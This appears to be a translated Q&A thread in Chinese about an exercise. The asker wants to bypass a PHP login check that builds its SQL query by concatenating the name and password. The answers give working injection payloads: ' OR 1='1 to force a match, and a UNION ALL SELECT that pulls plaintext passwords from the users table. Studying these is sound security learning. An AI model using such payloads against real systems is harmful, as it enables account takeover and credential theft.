0

我一直在数据库中使用ORM层,所以我不介意SQL注入,但是一个朋友给了我这个任务,我仍然不知道如何解决它。

我知道 PHP 脚本只是检查查询的返回是否为 != null (找到与输入的用户名和密码匹配的用户名)。

PHP 中的查询本身如下所示:

$sql = "SELECT name FROM users WHERE name='".$name. "' AND password='".$password. "'"; 

归档此查询返回的最佳方法是什么!= null 或检索有效的登录数据(用户名和密码)。密码以明文形式存储在数据库中。我知道存储原样不好,我知道使用 PDO 很好,但我不知道如何解决他给我的这个有趣的任务,可能是因为我一直使用 PDO。

4

2 回答 2

3

假设我们有这两个输入变量:

$name = "iam";
$password = "aninjection";

这导致此查询:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection'"; 

现在假设我们将它添加到$password变量中:

$password = "aninjection' OR 1='1";

结果是:

$sql = "SELECT name FROM users WHERE name='iam' AND password='aninjection' OR 1='1'"; 

此查询现在将true生成并显示用户表中的每个名称。这当然是一个基本的例子。我们还可以通过删除整个表来造成更大的伤害。

于 2016-01-28T14:59:16.823 回答
1

如果你想找回密码,你会注入

$name = "whatever";
$password = "' OR '1'='1' UNION ALL SELECT password from users;--";

这将使查询

SELECT name FROM users WHERE name='whatever' AND password='' OR '1'='1' UNION ALL SELECT password from users;--'

有关攻击者如何通过注入查询来解决此问题,请参阅此答案。

于 2016-01-29T09:10:49.107 回答